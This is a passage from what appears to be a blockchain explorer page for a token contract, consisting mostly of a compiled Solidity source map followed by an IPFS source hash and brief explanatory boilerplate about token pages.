;24342:45;;;;-1:-1:-1;;;24342:45:0;;25167:2:1;24342:45:0;;;25149:21:1;25206:2;25186:18;;;25179:30;25245:27;25225:18;;;25218:55;25290:18;;24342:45:0;24965:349:1;-1:-1:-1;;;;;;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;14:250:1;99:1;109:113;123:6;120:1;117:13;109:113;;;199:11;;;193:18;180:11;;;173:39;145:2;138:10;109:113;;;-1:-1:-1;;256:1:1;238:16;;231:27;14:250::o;269:396::-;418:2;407:9;400:21;381:4;450:6;444:13;493:6;488:2;477:9;473:18;466:34;509:79;581:6;576:2;565:9;561:18;556:2;548:6;544:15;509:79;:::i;:::-;649:2;628:15;-1:-1:-1;;624:29:1;609:45;;;;656:2;605:54;;269:396;-1:-1:-1;;269:396:1:o;670:131::-;-1:-1:-1;;;;;745:31:1;;735:42;;725:70;;791:1;788;781:12;806:315;874:6;882;935:2;923:9;914:7;910:23;906:32;903:52;;;951:1;948;941:12;903:52;990:9;977:23;1009:31;1034:5;1009:31;:::i;:::-;1059:5;1111:2;1096:18;;;;1083:32;;-1:-1:-1;;;806:315:1:o;1500:180::-;1559:6;1612:2;1600:9;1591:7;1587:23;1583:32;1580:52;;;1628:1;1625;1618:12;1580:52;-1:-1:-1;1651:23:1;;1500:180;-1:-1:-1;1500:180:1:o;1914:118::-;2000:5;1993:13;1986:21;1979:5;1976:32;1966:60;;2022:1;2019;2012:12;2037:446;2120:6;2128;2136;2144;2197:3;2185:9;2176:7;2172:23;2168:33;2165:53;;;2214:1;2211;2204:12;2165:53;2253:9;2240:23;2272:28;2294:5;2272:28;:::i;:::-;2319:5;2371:2;2356:18;;2343:32;;-1:-1:-1;2422:2:1;2407:18;;2394:32;;2473:2;2458:18;2445:32;;-1:-1:-1;2037:446:1;-1:-1:-1;;;2037:446:1:o;2488:456::-;2565:6;2573;2581;2634:2;2622:9;2613:7;2609:23;2605:32;2602:52;;;2650:1;2647;2640:12;2602:52;2689:9;2676:23;2708:31;2733:5;2708:31;:::i;:::-;2758:5;-1:-1:-1;2815:2:1;2800:18;;2787:32;2828:33;2787:32;2828:33;:::i;:::-;2488:456;;2880:7;;-1:-1:-1;;;2934:2:1;2919:18;;;;2906:32;;2488:456::o;3346:383::-;3423:6;3431;3439;3492:2;3480:9;3471:7;3467:23;3463:32;3460:52;;;3508:1;3505;3498:12;3460:52;3544:9;3531:23;3521:33;;3601:2;3590:9;3586:18;3573:32;3563:42;;3655:2;3644:9;3640:18;3627:32;3668:31;3693:5;3668:31;:::i;:::-;3718:5;3708:15;;;3346:383;;;;;:::o;3734:127::-;3795:10;3790:3;3786:20;3783:1;3776:31;3826:4;3823:1;3816:15;3850:4;3847:1;3840:15;3866:275;3937:2;3931:9;4002:2;3983:13;;-1:-1:-1;;3979:27:1;3967:40;;4037:18;4022:34;;4058:22;;;4019:62;4016:88;;;4084:18;;:::i;:::-;4120:2;4113:22;3866:275;;-1:-1:-1;3866:275:1:o;4146:183::-;4206:4;4239:18;4231:6;4228:30;4225:56;;;4261:18;;:::i;:::-;-1:-1:-1;4306:1:1;4302:14;4318:4;4298:25;;4146:183::o;4334:737::-;4388:5;4441:3;4434:4;4426:6;4422:17;4418:27;4408:55;;4459:1;4456;4449:12;4408:55;4495:6;4482:20;4521:4;4545:60;4561:43;4601:2;4561:43;:::i;:::-;4545:60;:::i;:::-;4639:15;;;4725:1;4721:10;;;;4709:23;;4705:32;;;4670:12;;;;4749:15;;;4746:35;;;4777:1;4774;4767:12;4746:35;4813:2;4805:6;4801:15;4825:217;4841:6;4836:3;4833:15;4825:217;;;4921:3;4908:17;4938:31;4963:5;4938:31;:::i;:::-;4982:18;;5020:12;;;;4858;;4825:217;;;-1:-1:-1;5060:5:1;4334:737;-1:-1:-1;;;;;;4334:737:1:o;5076:348::-;5160:6;5213:2;5201:9;5192:7;5188:23;5184:32;5181:52;;;5229:1;5226;5219:12;5181:52;5269:9;5256:23;5302:18;5294:6;5291:30;5288:50;;;5334:1;5331;5324:12;5288:50;5357:61;5410:7;5401:6;5390:9;5386:22;5357:61;:::i;:::-;5347:71;5076:348;-1:-1:-1;;;;5076:348:1:o;5429:247::-;5488:6;5541:2;5529:9;5520:7;5516:23;5512:32;5509:52;;;5557:1;5554;5547:12;5509:52;5596:9;5583:23;5615:31;5640:5;5615:31;:::i;5903:248::-;5971:6;5979;6032:2;6020:9;6011:7;6007:23;6003:32;6000:52;;;6048:1;6045;6038:12;6000:52;-1:-1:-1;;6071:23:1;;;6141:2;6126:18;;;6113:32;;-1:-1:-1;5903:248:1:o;6156:658::-;6327:2;6379:21;;;6449:13;;6352:18;;;6471:22;;;6298:4;;6327:2;6550:15;;;;6524:2;6509:18;;;6298:4;6593:195;6607:6;6604:1;6601:13;6593:195;;;6672:13;;-1:-1:-1;;;;;6668:39:1;6656:52;;6763:15;;;;6728:12;;;;6704:1;6622:9;6593:195;;;-1:-1:-1;6805:3:1;;6156:658;-1:-1:-1;;;;;;6156:658:1:o;6819:477::-;6909:6;6917;6970:2;6958:9;6949:7;6945:23;6941:32;6938:52;;;6986:1;6983;6976:12;6938:52;7026:9;7013:23;7059:18;7051:6;7048:30;7045:50;;;7091:1;7088;7081:12;7045:50;7114:61;7167:7;7158:6;7147:9;7143:22;7114:61;:::i;:::-;7104:71;;;7225:2;7214:9;7210:18;7197:32;7238:28;7260:5;7238:28;:::i;:::-;7285:5;7275:15;;;6819:477;;;;;:::o;7301:382::-;7366:6;7374;7427:2;7415:9;7406:7;7402:23;7398:32;7395:52;;;7443:1;7440;7433:12;7395:52;7482:9;7469:23;7501:31;7526:5;7501:31;:::i;:::-;7551:5;-1:-1:-1;7608:2:1;7593:18;;7580:32;7621:30;7580:32;7621:30;:::i;7688:402::-;7770:6;7778;7831:2;7819:9;7810:7;7806:23;7802:32;7799:52;;;7847:1;7844;7837:12;7799:52;7886:9;7873:23;7905:31;7930:5;7905:31;:::i;:::-;7955:5;-1:-1:-1;8012:2:1;7997:18;;7984:32;8025:33;7984:32;8025:33;:::i;8095:385::-;8181:6;8189;8197;8205;8258:3;8246:9;8237:7;8233:23;8229:33;8226:53;;;8275:1;8272;8265:12;8226:53;-1:-1:-1;;8298:23:1;;;8368:2;8353:18;;8340:32;;-1:-1:-1;8419:2:1;8404:18;;8391:32;;8470:2;8455:18;8442:32;;-1:-1:-1;8095:385:1;-1:-1:-1;8095:385:1:o;8485:416::-;8578:6;8586;8639:2;8627:9;8618:7;8614:23;8610:32;8607:52;;;8655:1;8652;8645:12;8607:52;8691:9;8678:23;8668:33;;8752:2;8741:9;8737:18;8724:32;8779:18;8771:6;8768:30;8765:50;;;8811:1;8808;8801:12;8765:50;8834:61;8887:7;8878:6;8867:9;8863:22;8834:61;:::i;:::-;8824:71;;;8485:416;;;;;:::o;8906:1140::-;9024:6;9032;9085:2;9073:9;9064:7;9060:23;9056:32;9053:52;;;9101:1;9098;9091:12;9053:52;9141:9;9128:23;9170:18;9211:2;9203:6;9200:14;9197:34;;;9227:1;9224;9217:12;9197:34;9265:6;9254:9;9250:22;9240:32;;9310:7;9303:4;9299:2;9295:13;9291:27;9281:55;;9332:1;9329;9322:12;9281:55;9368:2;9355:16;9390:4;9414:60;9430:43;9470:2;9430:43;:::i;9414:60::-;9508:15;;;9590:1;9586:10;;;;9578:19;;9574:28;;;9539:12;;;;9614:19;;;9611:39;;;9646:1;9643;9636:12;9611:39;9670:11;;;;9690:142;9706:6;9701:3;9698:15;9690:142;;;9772:17;;9760:30;;9723:12;;;;9810;;;;9690:142;;;9851:5;-1:-1:-1;;9894:18:1;;9881:32;;-1:-1:-1;;9925:16:1;;;9922:36;;;9954:1;9951;9944:12;9922:36;;9977:63;10032:7;10021:8;10010:9;10006:24;9977:63;:::i;11141:380::-;11220:1;11216:12;;;;11263;;;11284:61;;11338:4;11330:6;11326:17;11316:27;;11284:61;11391:2;11383:6;11380:14;11360:18;11357:38;11354:161;;11437:10;11432:3;11428:20;11425:1;11418:31;11472:4;11469:1;11462:15;11500:4;11497:1;11490:15;11354:161;;11141:380;;;:::o;11526:400::-;11728:2;11710:21;;;11767:2;11747:18;;;11740:30;11806:34;11801:2;11786:18;;11779:62;-1:-1:-1;;;11872:2:1;11857:18;;11850:34;11916:3;11901:19;;11526:400::o;11931:127::-;11992:10;11987:3;11983:20;11980:1;11973:31;12023:4;12020:1;12013:15;12047:4;12044:1;12037:15;12063:127;12124:10;12119:3;12115:20;12112:1;12105:31;12155:4;12152:1;12145:15;12179:4;12176:1;12169:15;12195:135;12234:3;12255:17;;;12252:43;;12275:18;;:::i;:::-;-1:-1:-1;12322:1:1;12311:13;;12195:135::o;12335:125::-;12400:9;;;12421:10;;;12418:36;;;12434:18;;:::i;12465:184::-;12535:6;12588:2;12576:9;12567:7;12563:23;12559:32;12556:52;;;12604:1;12601;12594:12;12556:52;-1:-1:-1;12627:16:1;;12465:184;-1:-1:-1;12465:184:1:o;12654:495::-;12715:3;12753:5;12747:12;12780:6;12775:3;12768:19;12806:4;12835:2;12830:3;12826:12;12819:19;;12857:5;12854:1;12847:16;12899:2;12896:1;12886:16;12920:1;12930:194;12944:6;12941:1;12938:13;12930:194;;;13009:13;;-1:-1:-1;;;;;13005:39:1;12993:52;;13065:12;;;;13041:1;13100:14;;;;12959:9;12930:194;;;-1:-1:-1;13140:3:1;;12654:495;-1:-1:-1;;;;;12654:495:1:o;13154:337::-;13358:6;13347:9;13340:25;13401:2;13396;13385:9;13381:18;13374:30;13321:4;13421:64;13481:2;13470:9;13466:18;13458:6;13421:64;:::i;13496:881::-;13591:6;13622:2;13665;13653:9;13644:7;13640:23;13636:32;13633:52;;;13681:1;13678;13671:12;13633:52;13714:9;13708:16;13747:18;13739:6;13736:30;13733:50;;;13779:1;13776;13769:12;13733:50;13802:22;;13855:4;13847:13;;13843:27;-1:-1:-1;13833:55:1;;13884:1;13881;13874:12;13833:55;13913:2;13907:9;13936:60;13952:43;13992:2;13952:43;:::i;13936:60::-;14030:15;;;14112:1;14108:10;;;;14100:19;;14096:28;;;14061:12;;;;14136:19;;;14133:39;;;14168:1;14165;14158:12;14133:39;14192:11;;;;14212:135;14228:6;14223:3;14220:15;14212:135;;;14294:10;;14282:23;;14245:12;;;;14325;;;;14212:135;;;14366:5;13496:881;-1:-1:-1;;;;;;;13496:881:1:o;15067:245::-;15134:6;15187:2;15175:9;15166:7;15162:23;15158:32;15155:52;;;15203:1;15200;15193:12;15155:52;15235:9;15229:16;15254:28;15276:5;15254:28;:::i;15724:251::-;15794:6;15847:2;15835:9;15826:7;15822:23;15818:32;15815:52;;;15863:1;15860;15853:12;15815:52;15895:9;15889:16;15914:31;15939:5;15914:31;:::i;16289:217::-;16329:1;16355;16345:132;;16399:10;16394:3;16390:20;16387:1;16380:31;16434:4;16431:1;16424:15;16462:4;16459:1;16452:15;16345:132;-1:-1:-1;16491:9:1;;16289:217::o;18376:128::-;18443:9;;;18464:11;;;18461:37;;;18478:18;;:::i;20280:168::-;20353:9;;;20384;;20401:15;;;20395:22;;20381:37;20371:71;;20422:18;;:::i;20453:188::-;20532:13;;-1:-1:-1;;;;;20574:42:1;;20564:53;;20554:81;;20631:1;20628;20621:12;20554:81;20453:188;;;:::o;20646:450::-;20733:6;20741;20749;20802:2;20790:9;20781:7;20777:23;20773:32;20770:52;;;20818:1;20815;20808:12;20770:52;20841:40;20871:9;20841:40;:::i;:::-;20831:50;;20900:49;20945:2;20934:9;20930:18;20900:49;:::i;:::-;20890:59;;20992:2;20981:9;20977:18;20971:25;21036:10;21029:5;21025:22;21018:5;21015:33;21005:61;;21062:1;21059;21052:12;23005:587;23301:6;23290:9;23283:25;23344:6;23339:2;23328:9;23324:18;23317:34;23387:3;23382:2;23371:9;23367:18;23360:31;23264:4;23408:65;23468:3;23457:9;23453:19;23445:6;23408:65;:::i;:::-;-1:-1:-1;;;;;23509:32:1;;;;23504:2;23489:18;;23482:60;-1:-1:-1;23573:3:1;23558:19;23551:35;23400:73;23005:587;-1:-1:-1;;;23005:587:1:o;24362:306::-;24450:6;24458;24466;24519:2;24507:9;24498:7;24494:23;24490:32;24487:52;;;24535:1;24532;24525:12;24487:52;24564:9;24558:16;24548:26;;24614:2;24603:9;24599:18;24593:25;24583:35;;24658:2;24647:9;24643:18;24637:25;24627:35;;24362:306;;;;;:::o;24673:287::-;24802:3;24840:6;24834:13;24856:66;24915:6;24910:3;24903:4;24895:6;24891:17;24856:66;:::i;:::-;24938:16;;;;;24673:287;-1:-1:-1;;24673:287:1:o

Swarm Source

ipfs://a372dd9e66d62957bc8b388615a76df1758e8c76b9dd829a23f84edef114d58b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.